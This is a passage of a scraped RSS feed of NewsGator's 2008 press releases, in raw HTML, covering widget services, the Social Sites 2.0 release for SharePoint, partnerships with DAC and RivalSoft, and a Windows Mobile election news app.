Colo. — June 26, 2008 — </FONT></STRONG><A href="http://www.newsgator.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>NewsGator</FONT></U></FONT></A><FONT face=Arial size=2> Technologies Inc. today announced a partnership with Digital Advertising Consortium (DAC), one of Japan's largest online advertising solutions providers, for exclusive rights to offer NewsGator </FONT><A href="http://newsgatorwidgets.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>Widget Services</FONT></U></FONT></A><FONT face=Arial size=2> to Japanese media companies and brands. Under this partnership, DAC will market NewsGator Widgets for content syndication.</FONT></P> <P><FONT face=Arial size=2>Major media companies around the world are turning to NewsGator </FONT><A href="http://newsgatorwidgets.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>Widget Services</FONT></U></FONT></A><FONT face=Arial size=2> to create widgets that syndicate content to Web sites, blogs, social networks, and start pages and in the process create additional advertising revenue and reach new audiences. Widgets are currently being used by companies like National Geographic, which has a series of viral and interactive puzzle widgets featuring their photography, and Tribune Media Services, which is using NewsGator for ad sponsored mini-applications that provide readers with easy access to their favorite baseball team’s television and radio schedules.</FONT></P><B> <P><FONT face=Arial size=2>"</FONT></B><FONT face=Arial size=2>This is a terrific market opportunity for NewsGator – Japan is the second largest online advertising market in the world, and this partnership will enable NewsGator and DAC to work together in partnership to power widget strategies for Japanese advertisers and marketers," said Jeff Nolan, vice president, NewsGator Consumer and Media Services. "We are honored and privileged to work with DAC, a highly respected and premier company, as we enter the market in Japan."</FONT></P> <P><FONT face=Arial size=2>"Partnering with NewsGator will allow us to offer powerful, viral and trackable widgets to our large customer base of media companies and brands," said Akihiko Tokuhisa, the Chief Technology Officer of DAC. "Japanese companies are using widgets to introduce new types of content to their Web pages and add viral functionality – they’re already having great success in reaching and engaging broad audiences."</FONT></P> <P><STRONG><FONT face=Arial size=2>About NewsGator Software-as-a-Service</FONT></STRONG></P> <P><FONT face=Arial size=2>NewsGator’s syndication and data services offerings help media companies, content publishers and advertisers engage audiences through the use of social media and Web 2.0 technologies. NewsGator's Web 2.0 syndication products, including personalized </FONT><A href="http://www.newsgator.com/Individuals/Default.aspx"><U><FONT color=#0000ff><FONT face=Arial size=2>RSS readers</FONT></U></FONT></A><FONT face=Arial size=2>, Widget Framework, Community Publisher and Widget Ads, give companies the tools they need to enable their audiences to create, subscribe and interact with the most relevant content while staying within the company's brand. NewsGator‘s widget and data services are in use by some of the world's largest media companies and brands, including CNN, Media General, National Geographic, Newsweek, CBS News, Reuters, USA Today and Discovery Communications. For more information, visit </FONT><A href="http://www.newsgatorwidgets.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>www.NewsGatorWidgets.com</FONT></U></FONT></A><FONT face=Arial><FONT size=2>. <STRONG></STRONG></FONT></FONT></P> <P><STRONG><FONT face=Arial size=2>About NewsGator Technologies, Inc.</FONT></STRONG></P> <P><FONT face=Arial size=2>NewsGator Technologies helps enterprises and media companies leverage </FONT><A href="http://www.newsgator.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>social computing</FONT></U></FONT></A><FONT face=Arial size=2> solutions to deliver real business value. The company’s enterprise </FONT><A href="http://www.newsgator.com/Business/SocialSites/Default.aspx"><U><FONT color=#0000ff><FONT face=Arial size=2>social networking</FONT></U></FONT></A><FONT face=Arial size=2> and widget services are in use by hundreds of the world’s most recognized brands, including Bank of America, Biogen Idec, CBS, CNN, Discovery, National Geographic, Procter &amp; Gamble and USA Today. NewsGator Social Sites and Enterprise Server give enterprises better ways to collaborate, share content, expand employee knowledge and improve productivity. NewsGator Widget Services enable media and brand companies to better engage their audiences and extend the value of their brands through viral syndication of content. NewsGator also offers free, award-winning RSS aggregators for the Web, desktop, mobile devices and e-mail clients. For more information, visit </FONT><A href="http://www.newsgator.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>www.newsgator.com</FONT></U></FONT></A></P><FONT size=3> <P><STRONG><FONT face=Arial size=2>About DAC</FONT></STRONG></P> <P><FONT face=Arial size=2>Digital Advertising Consortium (DAC) is a company integrating advertising business, founded by the several biggest advertising agencies in Japan, such as Hakuhodo DY Media Partners Inc., ASATSU-DK Inc. Based on three main services: Media, Operations and Technology, DAC provides high quality service for both buying and selling online advertising through the large network of websites. For internet media buying and selling, DAC plays a role of media rep to bring together publishers and agencies. DAC represents Japan's major websites: Yahoo! Japan, MSN Japan, Infoseek and many more. For more information, visit en.dac.co.jp.</FONT></P> <P><STRONG><FONT face=Arial size=2>Contact Information</FONT></STRONG></P> <P><FONT face=Arial size=2>Laura Farrelly</FONT></P> <P><FONT face=Arial size=2>NewsGator</FONT></P> <P><FONT face=Arial size=2>303-552-2046</FONT></P> <P><FONT face=Arial size=2>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Jennifer Gazin or Zoe Vandeveer</FONT></P> <P><FONT face=Arial size=2>LaunchSquad</FONT></P> <P><FONT face=Arial size=2>415.625.8555</FONT></P> <P><FONT face=Arial size=2>newsgator(at)launchsquad(dot)com</FONT></P></FONT>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=161Thu, 26 Jun 2008 12:52:31 GMTNewsGator Releases Editor’s Desk 2.1http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=160<P align=center><STRONG><FONT face=Arial size=2>NewsGator Releases Editor’s Desk 2.1</FONT></STRONG></P> <P align=center><EM><FONT face=Arial size=2>New Version Of NewsGator’s Widget Platform Makes It Even Easier for Brand & Media Companies to Build, Deploy, & Track Widgets</FONT></EM></P> <P><FONT face=Arial><FONT size=2><STRONG>Denver, Colo. — June 19, 2008 </STRONG>— NewsGator Technologies Inc. today announced the general availability of Editor’s Desk 2.1, a new version of the company’s </FONT></FONT><FONT face=Arial size=2>widget platform that makes it even easier for brand and media companies to build, deploy, and track widgets. </FONT></P> <P><FONT face=Arial size=2>Updates to NewsGator’s widget platform include a dramatically redesigned user interface, sophisticated new templates, and an easier, more streamlined </FONT><FONT face=Arial size=2>workflow for widget creation. Editor’s Desk 2.1 boasts exciting new features including a widget search tool for simple creation of subject-specific content </FONT><FONT face=Arial size=2>widgets, a duplicating “clone” capability that allows users to easily create similar widgets, and feed monitoring that provides instant feedback on widget </FONT><FONT face=Arial size=2>performance and feed errors. </FONT></P> <P><FONT face=Arial size=2>“Media and brand companies are embracing widget strategies at a breakneck pace because syndicating content with widgets works,” said Jeff Nolan, vice </FONT><FONT face=Arial size=2>president, NewsGator Software-as-a-Service.  “By simplifying the creation, deployment, and management of widgets, Editor’s Desk 2.1 enables companies to </FONT><FONT face=Arial size=2>quickly and easily realize positive business results from extended brand reach to increased website monetization.”</FONT></P> <P><FONT face=Arial size=2>NewsGator’s widget platform is part of NewsGator Software-as-a-Service, which encompasses the company’s syndication and data services offerings and helps </FONT><FONT face=Arial size=2>media companies, content publishers and advertisers engage audiences through the use of social media and Web 2.0 technologies. NewsGator's Web 2.0 </FONT><FONT face=Arial size=2>syndication products, including personalized RSS readers, Widget Framework, Community Publisher and Widget Ads, give companies the tools they need to </FONT><FONT face=Arial size=2>enable their audiences to create, subscribe and interact with the most relevant content while staying within the company's brand. NewsGator‘s widget and </FONT><FONT face=Arial size=2>data services are in use by some of the world's largest media companies and brands, including CNN, Media General, National Geographic, Newsweek, CBS News, </FONT><FONT face=Arial size=2>Reuters, USA Today and Discovery Communications.  For more information, visit </FONT><A href="http://www.NewsGatorWidgets.com"><FONT face=Arial color=#000000 size=2>www.NewsGatorWidgets.com</FONT></A><FONT face=Arial size=2>. </FONT></P> <P><FONT face=Arial size=2><STRONG>About NewsGator Technologies, Inc.</STRONG><BR>NewsGator Technologies helps enterprises and media companies leverage social computing solutions to deliver real business value. The company’s enterprise </FONT><FONT face=Arial size=2>social networking and widget services are in use by hundreds of the world’s most recognized brands, including Bank of America, Biogen Idec, CBS, CNN, </FONT><FONT face=Arial size=2>Discovery, National Geographic, Procter & Gamble and USA Today. NewsGator Social Sites and Enterprise Server give enterprises better ways to collaborate, </FONT><FONT face=Arial size=2>share content, expand employee knowledge and improve productivity. NewsGator Widget Services enable media and brand companies to better engage their </FONT><FONT face=Arial size=2>audiences and extend the value of their brands through viral syndication of content. NewsGator also offers free, award-winning RSS aggregators for the Web, </FONT><FONT face=Arial size=2>desktop, mobile devices and e-mail clients. For more information, visit </FONT><A href="http://www.newsgator.com"><FONT face=Arial color=#000000 size=2>www.newsgator.com</FONT></A></P> <P><FONT face=Arial size=2><STRONG>Contact Information</STRONG><BR>Laura Farrelly<BR>NewsGator<BR>303-552-2046<BR>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Jennifer Gazin or Zoe Vandeveer<BR>LaunchSquad<BR>415.625.8555<BR>newsgator(at)launchsquad(dot)com</FONT></P>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=160Fri, 20 Jun 2008 15:28:13 GMTNewsGator Adds Value to Enterprise Social Computing Features for Microsoft Office SharePoint Server 2007http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=159<P><EM><FONT face=Arial size=2>Social Sites 2.0 Helps Businesses Improve Productivity with Behind-The-Firewall Social Networks &amp; Communities</FONT></EM></P> <P><FONT face=Arial><FONT size=2><STRONG>BOSTON, Enterprise 2.0 Conference — June 9, 2008 —</STRONG> NewsGator Technologies, Inc. today announced the general availability of Social Sites 2.0, a major upgrade for NewsGator’s social computing solution for Microsoft Office SharePoint Server 2007.&nbsp; Social Sites 2.0 offers new social capabilities to Office SharePoint Server 2007, allowing users to more easily interact, collaborate and find the people and content they need to do their work better and more efficiently. </FONT></FONT></P> <P><FONT face=Arial size=2>“The combined Social Sites and SharePoint Server 2007 solution has evolved our intranet into a social network,” said Joe Toth, assistant vice president for CME Federal Credit Union.&nbsp; “It allows for users to add colleagues into their profile and exchange information across departmental boundaries.&nbsp; These features, along with the other social computing capabilities provided by the solution, have led to improved productivity by saving our employees an average of 30 minutes per day.”</FONT></P> <P><FONT face=Arial size=2>"Social networking trends in the consumer market have triggered enormous interest by business and IT strategists who believe that similar solutions can be leveraged internally to improve information sharing, collaboration and community-building efforts," said Mike Gotta, principal analyst for Burton Group. "The challenge confronting many decision makers is how to best balance the need to leverage existing infrastructure while not missing out on solutions delivered by many best-of-breed vendors."</FONT></P> <P><FONT face=Arial size=2>Social Sites and Office SharePoint Server 2007 deliver enterprise-class social computing capabilities that enable businesses to build communities and internal social networks while leveraging existing IT investments and maintaining appropriate security.&nbsp; Social Sites integrates seamlessly with Office SharePoint Server 2007 to add value to its social computing features with collaboration tools, enhanced tagging, RSS feed subscriptions and management, colleague tracking features and content mash-up capabilities.&nbsp; </FONT></P> <P><FONT face=Arial size=2>“SharePoint Server 2007 provides businesses with a social computing solution that delivers positive business results today while establishing a platform that can be easily extended to meet future Enterprise 2.0 needs,” said Deb Bannon, senior product manager for Microsoft’s SharePoint Server Partner Group. “Social Sites and SharePoint Server 2007 facilitate collaboration and simplify information discovery by turning intranets and portals into social hubs. This not only makes it easier for workers to do their jobs, but gives businesses a huge competitive advantage by enabling them to become leaner, smarter and more efficient through collaboration.”</FONT></P> <P><FONT face=Arial size=2>The 2.0 release of Social Sites will provide enterprises with the following advanced community and social network capabilities (please visit </FONT><A href="http://www.newsgator.com/Business/SocialSites/Default.aspx"><FONT face=Arial size=2>http://www.newsgator.com/Business/SocialSites/Default.aspx</FONT></A><FONT face=Arial size=2> for more information):</FONT></P> <P><FONT face=Arial size=2>Communities<BR>•&nbsp;Allows employees to easily share ideas, information and documents by enabling them to create ad hoc communities around common interests, areas of research, projects, etc.<BR>•&nbsp;Provides for easy discovery of groups via customized recommendations, tag clouds, search, and lists of recently created and popular communities.&nbsp; <BR>•&nbsp;Offers a discussion component that includes rich e-mail integration, which allows users to participate in a community without ever logging in to the site. <BR>•&nbsp;Simplifies content additions by allowing content to be tagged into the community, added via social bookmarks and RSS feeds, or uploaded to a community document store. <BR>•&nbsp;Offers chronological views of community activity from both a single community and consolidated from all communities a user belongs to.</FONT></P> <P><FONT face=Arial size=2>Social Networks<BR>•&nbsp;Provides employees with social network graphs based on both explicit and implied connections, making discovery of content and colleagues easier. <BR>•&nbsp;Shows each user their strongest connections based on common content, interests, and intranet activity.<BR>•&nbsp;Recommends colleagues to a user based on common community membership, tags, and RSS subscriptions.</FONT></P> <P><FONT face=Arial size=2>About NewsGator Social Sites</FONT></P> <P><FONT face=Arial size=2>NewsGator Social Sites provides behind-the-firewall social computing and enterprise RSS capabilities that lower IT support costs, improve productivity, and increase knowledge sharing.&nbsp; Social Sites integrates seamlessly with Microsoft Office SharePoint Server 2007 to enable enterprises to build communities and internal social networks while leveraging existing investments and maintaining appropriate security.&nbsp; Social Sites drives portal adoption by keeping content fresh and relevant, enhancing usability, simplifying content and expertise discovery and bringing users back through precision notifications. Social Sites features include tacitly built profiles; social network graphs; communities; advanced tagging and tag clouds; RSS feeds, subscriptions and management; notifications; and colleague tracking capabilities. For more information, please visit: </FONT><A href="http://www.newsgator.com/Business/SocialSites/Default.aspx"><FONT face=Arial size=2>http://www.newsgator.com/Business/SocialSites/Default.aspx</FONT></A><FONT face=Arial size=2>.</FONT></P> <P><FONT face=Arial size=2>About NewsGator Technologies, Inc.</FONT></P> <P><FONT face=Arial size=2>NewsGator Technologies helps enterprises and media companies leverage social computing solutions to deliver real business value. The company’s enterprise social networking and widget services are in use by hundreds of the world’s most recognized brands, including Bank of America, Biogen Idec, CBS, CNN, Discovery, National Geographic, Procter &amp; Gamble and USA Today. NewsGator Social Sites and Enterprise Server give enterprises better ways to collaborate, share content, expand employee knowledge and improve productivity. NewsGator Widget Services enable media and brand companies to better engage their audiences and extend the value of their brands through viral syndication of content. NewsGator also offers free, award-winning RSS aggregators for the Web, desktop, mobile devices and e-mail clients. For more information, visit </FONT><A href="http://www.newsgator.com"><FONT face=Arial size=2>www.newsgator.com</FONT></A></P> <P><FONT face=Arial size=2>All products and company names herein may be trademarks of their registered owners.</FONT></P> <P><FONT face=Arial size=2>Contact Information<BR>Laura Farrelly<BR>NewsGator<BR>303-552-2046<BR>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Corey Lewis or Jennifer Gazin<BR>LaunchSquad<BR>415.625.8555<BR>newsgator(at)launchsquad(dot)com </FONT></P>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=159Mon, 09 Jun 2008 20:22:19 GMTNewsGator Delivers Corporate Social Computing Platform for Universal McCannhttp://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=158<P><EM><FONT face=Arial size=2>Global Media Agency Deploying NewsGator Social Sites and Microsoft Office SharePoint Server 2007 to Facilitate Collaboration, Improve Productivity &amp; Lower IT Support Costs</FONT></EM></P> <P><FONT face=Arial><FONT size=2><STRONG>BOSTON, Enterprise 2.0 Conference — June 9, 2008 —</STRONG> NewsGator Technologies, Inc. announced today that Universal McCann, a global media communications agency, is deploying a full-service internal social computing platform based on NewsGator Social Sites and Microsoft Office SharePoint Server 2007. The project’s mission is to take advantage of innovative Enterprise 2.0 technologies to greatly improve communication and the flow of information across Universal McCann’s 90 offices in 66 countries. Working jointly with Microsoft and NewsGator, Universal McCann has implemented a secure social networking solution that improves productivity by allowing employees to better communicate and collaborate. </FONT></FONT></P> <P><FONT face=Arial size=2>“The fast-changing media environment in which Universal McCann works demands that our employees have a finger on the pulse of what’s going on, not just in their respective markets and account groups, but globally across the industry,” said Quentin George, worldwide officer for digital strategy &amp; market innovation for Universal McCann.&nbsp; “In order to deliver our clients the ‘Next Thing Now’ we must share and learn from our collective knowledge and experience.&nbsp; We found NewsGator and Microsoft’s social networking tools to be the ideal way to facilitate communication and knowledge sharing across geographic and division boundaries – leading to improved productivity and increased innovation.”</FONT></P> <P><FONT face=Arial size=2>“We considered a variety of social computing solutions, including consumer-based social networking products, but they fell short on business-specific features, internal systems integration, and security capabilities,” said Jason Harrison, worldwide chief information officer for Universal McCann. “Microsoft and NewsGator offered us an enterprise-class social computing solution that delivers the social networking features we need today while providing us with a platform that can easily evolve as our needs grow and change.&nbsp; In addition, their solution integrates seamlessly with our technology infrastructure and security protocols, helping to lower our support costs.”</FONT></P> <P><FONT face=Arial size=2>The combined Social Sites and Office SharePoint Server 2007 solution provides Universal McCann with an online destination that facilitates collaboration and content sharing across the global Universal McCann network.&nbsp; The social computing platform integrates Web 2.0 concepts such as social networking, communities, RSS, and blogging in an intuitive, easy-to-use interface.&nbsp; With the interface, Universal McCann employees can now quickly browse through the company’s intranet and find the latest content headlines, view the most relevant/popular portal content and easily learn about other employees at any office in the world. The social computing platform also enables employees to discover colleagues and subject matter experts, form social networks, and build communities based on areas of interest, rather than geography or project teams.&nbsp; Universal McCann’s social computing platform enhances each person’s effectiveness with the collective wisdom of the worldwide organization – driving innovation and improved client service.&nbsp; </FONT></P> <P><FONT face=Arial size=2>“Businesses are experiencing firsthand the value of social computing in the enterprise,” said Deb Bannon, senior product manager for Microsoft’s SharePoint Server Partner Group. “As Universal McCann shows, SharePoint Server 2007 lets companies turn their portal into a customizable social computing hub that can change the way the company works. The combination of Social Sites and SharePoint is an example of what enterprise social networking is all about – delivering positive business results with a behind-the-firewall, flexible, and extensible platform.”</FONT></P> <P><FONT face=Arial size=2>“More and more companies are looking for ways to connect their employees, using Web 2.0, social networking and information as a bridge,” said J.B. Holston, NewsGator CEO. “Social Sites and SharePoint Server 2007 give companies a way to introduce global social networking strategies that offer the ease-of-use of tools like Facebook or MySpace, but with enterprise-strength security and business-specific features. Social Sites allows companies to roll out a dynamic platform that makes information and knowledge a common currency among its employees and collaboration a common companywide practice.”</FONT></P> <P><FONT face=Arial size=2>About Social Sites</FONT></P> <P><FONT face=Arial size=2>NewsGator Social Sites provides behind-the-firewall social computing and enterprise RSS capabilities that lower IT support costs, improve productivity, and increase knowledge sharing.&nbsp; Social Sites integrates seamlessly with Microsoft Office SharePoint Server 2007 to enable enterprises to build communities and internal social networks while leveraging existing investments and maintaining appropriate security.&nbsp; Social Sites drives portal adoption by keeping content fresh and relevant, enhancing usability, simplifying content and expertise discovery and bringing users back through precision notifications. Social Sites features include tacitly built profiles; social network graphs; communities; advanced tagging and tag clouds; RSS feeds, subscriptions and management; notifications; and colleague tracking capabilities. For more information, please visit: </FONT><A href="http://www.newsgator.com/Business/SocialSites/Default.aspx"><FONT face=Arial size=2>www.newsgator.com/Business/SocialSites/Default.aspx</FONT></A><FONT face=Arial size=2>.</FONT></P> <P><FONT face=Arial size=2>About NewsGator Technologies, Inc.</FONT></P> <P><FONT face=Arial size=2>NewsGator Technologies helps enterprises and media companies leverage social computing solutions to deliver real business value. The company’s enterprise social networking and widget services are in use by hundreds of the world’s most recognized brands, including Bank of America, Biogen Idec, CBS, CNN, Discovery, National Geographic, Procter &amp; Gamble and USA Today. NewsGator Social Sites and Enterprise Server give enterprises better ways to collaborate, share content, expand employee knowledge and improve productivity. NewsGator Widget Services enable media and brand companies to better engage their audiences and extend the value of their brands through viral syndication of content. NewsGator also offers free, award-winning RSS aggregators for the Web, desktop, mobile devices and e-mail clients. For more information, visit </FONT><A href="http://www.newsgator.com"><FONT face=Arial size=2>www.newsgator.com</FONT></A><FONT face=Arial size=2>.</FONT></P> <P><FONT face=Arial size=2>About Universal McCann</FONT></P> <P><FONT face=Arial size=2>Universal McCann (UM) is a global media communications agency providing Next Thing Now solutions for the world’s leading marketers and strategic thinkers including Coca-Cola, ExxonMobil, Johnson &amp; Johnson, Mastercard, Microsoft, Sony, Bacardi, L’oreal and UPS. Part of the Interpublic Group of Companies (IPG), UM has 90 offices in 66 countries and over 2,800 employees with headquarters in New York.&nbsp; UM provides a full spectrum of media services including media and communications planning, digital strategy consultation, analytics and economic modeling and research and consumer insight. The company’s mission is to deliver marketing innovation through media excellence.&nbsp; For more information, visit </FONT><A href="http://www.universalmccann.com"><FONT face=Arial size=2>www.universalmccann.com</FONT></A><FONT face=Arial size=2>. </FONT></P> <P><FONT face=Arial size=2>All products and company names herein may be trademarks of their registered owners.</FONT></P> <P><FONT face=Arial size=2>Contact Information<BR>Laura Farrelly<BR>NewsGator<BR>303-552-2046<BR>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Kris Sharbaugh<BR>Universal McCann<BR>646-865-5000<BR>Kris.Sharbaugh(at)umww(dot)com</FONT></P> <P><FONT face=Arial size=2>Corey Lewis or Jennifer Gazin<BR>LaunchSquad<BR>415.625.8555<BR>newsgator(at)launchsquad(dot)com </FONT></P>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=158Mon, 09 Jun 2008 14:52:17 GMTRivalSoft Announces RivalMap™ 2.0 and Partnership with NewsGator http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=157<P><FONT face=Arial><FONT size=2><EM>New Web-Based Service Dramatically Improves how Companies Maintain Market Awareness</EM></FONT></FONT></P> <P><FONT face=Arial><FONT size=2><STRONG>Palo Alto, CA, June 4, 2008 –</STRONG> RivalSoft Inc. today unveiled a major new release of RivalMap, the first web-based application that combines a unique set of features specifically designed to help companies of all sizes track and share information about their competitors and market. The new version of the application makes it easier for businesses to organize and address breaking news and important industry-related information.<BR>&nbsp;<BR>“RivalMap now offers key tools to help companies stay on top of important market changes and take advantage of emerging developments in their industry”, said Andrew Holt, Co-founder of RivalSoft. “Before RivalMap, information that companies had on competitors and market events was scattered through files, e-mails, and in the minds of colleagues. With RivalMap, companies have a single hub for industry information, providing a better way to discover important information and leverage it internally with less work. News, information, and discussions are easily centralized, organized, and made available to everyone inside a company. Competitor and market insights are crucial to a company's ability to make informed business decisions – RivalMap delivers a total solution for that need.” </FONT></FONT></P> <P><FONT face=Arial size=2>“The addition of an automated news service, which makes use of NewsGator technologies, adds a new level of functionality to RivalMap,” said Kris Rasmussen, fellow Co-founder of RivalSoft. “RivalMap now brings together relevant news and feeds in one place where they can be harnessed collaboratively. RivalMap is tremendously valuable for companies that need to monitor their market and identify important updates and trends.” </FONT></P> <P><FONT face=Arial size=2>“We are very excited about the integration of a news engine into RivalMap. In addition to providing the APIs, we use RivalMap internally and have seen the leap in value that integrated content provides,” said Jeff Nolan, VP of the SaaS group at NewsGator. “Our Smart Feeds are pulling in not only traditional content via RSS but also aggregating Twitter updates, LinkedIn messages, and many more sources all based on keywords.” </FONT></P> <P><FONT face=Arial size=2>RivalMap is a web-based hosted application, with no set-up time or up-front fees. To get started, companies only have to create an account at </FONT><A href="http://www.rivalmap.com"><FONT face=Arial size=2>http://www.rivalmap.com</FONT></A><FONT face=Arial size=2> (it takes less than a minute). After adding profiles for competitors and adding feeds or news keywords to track, any user with access can start clipping important news and posting updates, concerns, files, and other content. From that point forward, the company has one place for workers to access and discuss information on competitors, industry updates, collateral the company has (like sales assets), and more. </FONT></P> <P><FONT face=Arial size=2>Pricing &amp; Information </FONT></P> <P><FONT face=Arial size=2>RivalMap is free for up to 3 users, with access to the news feature for the first 30 days. For only $24/month companies get 3 users, unlimited news management, and file sharing. For $49/month companies get 5 users, $99/month allows 10 users, and $199/month allows 25 users, all with the addition of SSL encryption. Enterprise plans for accounts larger than 25 users are available. All paying plans include a 30-day free trial. Companies can start using RivalMap immediately at </FONT><A href="http://www.rivalmap.com"><FONT face=Arial size=2>http://www.rivalmap.com</FONT></A><FONT face=Arial size=2>. </FONT></P> <P><FONT face=Arial size=2>About RivalSoft </FONT></P> <P><FONT face=Arial size=2>Palo Alto-based RivalSoft provides innovative web-based applications to companies of all sizes, helping them stay more informed, make better decisions, and improve communication. RivalSoft's mission is to make easy-to-use software that empowers companies and their employees, improving the work-flow of individuals while providing collective results for the entire company. Their products have been featured in TechCrunch, InformationWeek, InfoWorld, Financial Times, and numerous other publications. </FONT></P> <P><FONT face=Arial size=2>Contact Information </FONT></P> <P><FONT face=Arial size=2>Andrew Holt <BR>RivalSoft Inc. <BR>(650) 488-8286 <BR>andrew(at)rivalsoftinc(dot)com </FONT></P> <P><FONT face=Arial size=2>About NewsGator Software-As-A-Service </FONT></P> <P><FONT face=Arial size=2>NewsGator Software-as-a-Service encompasses NewsGator Technologies’ syndication and data services offerings and helps media companies, content publishers and advertisers engage audiences through the use of social media and Web 2.0 technologies. NewsGator Software-as-a-Service is in use by some of the world's largest media companies and brands, including CNN, Media General, National Geographic, Newsweek, CBS News, the San Francisco Chronicle, USA Today and Discovery Communications. For more information, please visit: </FONT><A href="http://www.newsgatorwidgets.com"><FONT face=Arial size=2>www.newsgatorwidgets.com</FONT></A><FONT face=Arial size=2>. </FONT></P> <P><FONT face=Arial size=2>Contact Information</FONT></P> <P><FONT face=Arial size=2>Laura Farrelly<BR>NewsGator<BR>303-552-2046<BR>lauraf(at)newsgator(dot)com <BR>Jennifer Gazin or Corey Lewis<BR>LaunchSquad<BR>415.625.8555<BR>newsgator(at)launchsquad(dot)com</FONT></P>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=157Wed, 04 Jun 2008 14:41:36 GMTwashingtonpost.com, Newsweek Partner with NewsGator and Microsoft to Create Free Windows Mobile Application for 2008 Electionshttp://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=156<P><EM><FONT face=Arial size=2>Campaign Tracker Provides Individuals With Convenient, Mobile Access To Breaking News Featuring Their Favorite Presidential Candidates</FONT></EM></P> <P><FONT face=Arial><FONT size=2><STRONG>Denver, Colo. — May 28, 2008 —</STRONG> NewsGator Technologies, Inc., along with washingtonpost.com and Newsweek, today unveiled <A href="http://www.washingtonpost.com/wp-srv/wireless/campaigntracker.htm">Campaign Tracker, a free application for Microsoft Windows Mobile phones</A>. The Microsoft-sponsored mobile application will enhance washingtonpost.com’s and Newsweek’s up-to-the-minute, portable coverage on the 2008 candidates and elections.</FONT></FONT></P> <P><FONT face=Arial size=2>Harnessing the breadth of syndication solutions of NewsGator’s Mobile Reader, washingtonpost.com and Newsweek will aggregate political content from across their media properties, extending the reach of their brands and letting their readers access the most recent and popular news on any given candidate, right from their mobile phones. Campaign Tracker will also utilize NewsGator’s Editor’s Desk for full editorial control, enabling washingtonpost.com and Newsweek to create an optimal RSS feed reading experience and present the news in ways that will provide the most value to their readers.</FONT></P> <P><FONT face=Arial size=2>Campaign Tracker was developed in conjunction with Microsoft through Mobile2Market and runs on Microsoft Windows Mobile phones. Since the mobile application is not built on a Web site, readers can access the latest candidate news from wherever they are, even when they’re out of wireless range or on an airplane. Campaign Tracker makes for an enjoyable and fast mobile reading experience, as each post contains the entire article so there’s no need to click through to the source.</FONT></P> <P><FONT face=Arial size=2>“Developing innovative ways to distribute our content off our sites has been a top priority for us this year,” said Jennifer Moyer, COO, Washingtonpost.Newsweek Interactive. “We’re excited to utilize NewsGator’s aggregation service to more effectively provide mobile users with Microsoft Windows access to washingtonpost.com’s and Newsweek.com’s campaign and political news in real time.”</FONT></P> <P><FONT face=Arial size=2>“Working with washingtonpost.com, Newsweek and Microsoft is terrific validation for NewsGator’s leadership in syndicating content and developing unique widgets and readers catered to today’s consumer tastes,” said Jeff Nolan, vice president, NewsGator’s Software-as-a-Service group. “NewsGator’s Mobile Reader gives media companies cutting-edge capabilities to deliver a wide range of content directly to a user, whether they’re commuting on a bus or flying across the country.”</FONT></P> <P><FONT face=Arial size=2>NewsGator’s mobile reader is part of NewsGator Software-as-a-Service, which encompasses the company’s syndication and data services offerings and helps media companies, content publishers and advertisers engage audiences through the use of social media and Web 2.0 technologies. NewsGator's Web 2.0 syndication products, including personalized RSS readers, Widget Framework, Community Publisher and Widget Ads, give companies the tools they need to enable their audiences to create, subscribe and interact with the most relevant content while staying within the company's brand. NewsGator Software-as-a-Service is in use by some of the world's largest media companies and brands, including CNN, Media General, National Geographic, Newsweek,  CBS News, the San Francisco Chronicle, USA Today and Discovery Communications. For more information, visit </FONT><A href="http://www.NewsgatorWidgets.com"><FONT face=Arial size=2>http://www.NewsgatorWidgets.com</FONT></A><FONT face=Arial size=2>.</FONT></P> <P><FONT face=Arial size=2>About NewsGator Technologies, Inc.</FONT></P> <P><FONT face=Arial size=2>NewsGator Technologies is a pioneer in RSS and Enterprise 2.0 technologies. Headquartered in Denver, Colo., NewsGator develops and markets RSS aggregation solutions for individual end users, enterprises and online content providers. Using NewsGator products and solutions, businesses and consumers can subscribe to news, information, podcasts and other relevant content more efficiently and effectively than with traditional channels. With NewsGator, users have access to RSS information via the Web, Microsoft Outlook, mobile devices and both Windows- and Mac-based desktop clients. All NewsGator products synchronize seamlessly, enabling users to read their RSS feeds anywhere, anytime, with any device. For more information, visit </FONT><A href="http://www.newsgator.com"><FONT face=Arial size=2>www.newsgator.com</FONT></A><FONT face=Arial size=2>.</FONT></P> <P><FONT face=Arial size=2>Contact Information<BR>Laura Farrelly<BR>NewsGator<BR>303-552-2046<BR>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Jennifer Gazin or Zoe Vandeveer<BR>LaunchSquad<BR>415.625.8555<BR>newsgator(at)launchsquad(dot)com</FONT></P>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=156Wed, 28 May 2008 20:07:28 GMTNewsGator Delivers Recommended RSS Articles via Collaborative Filteringhttp://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=155<P><EM><FONT face=Arial size=2>Addition of Recommendations from SenseArray™ in NewsGator Online Reader Provides Users With the Best Stories From More Than 2.7 Million Feeds</FONT></EM></P> <P><FONT face=Arial><FONT size=2><STRONG>Denver, Colo. — May 22, 2008 —</STRONG> NewsGator Technologies, Inc. announced today that it has integrated Uprizer Labs’ SenseArray collaborative filtering capabilities into its NewsGator Online RSS Reader to provide recommended stories to users. The unique combination of relevance data gathered from NewsGator’s users and SenseArray’s powerful filtering delivers an innovative recommendation system giving users great stories from feeds they’ve never seen.</FONT></FONT></P> <P><FONT face=Arial size=2>The recommended stories feature works by sending to SenseArray the relevance data collected when users click links, tag, save or forward 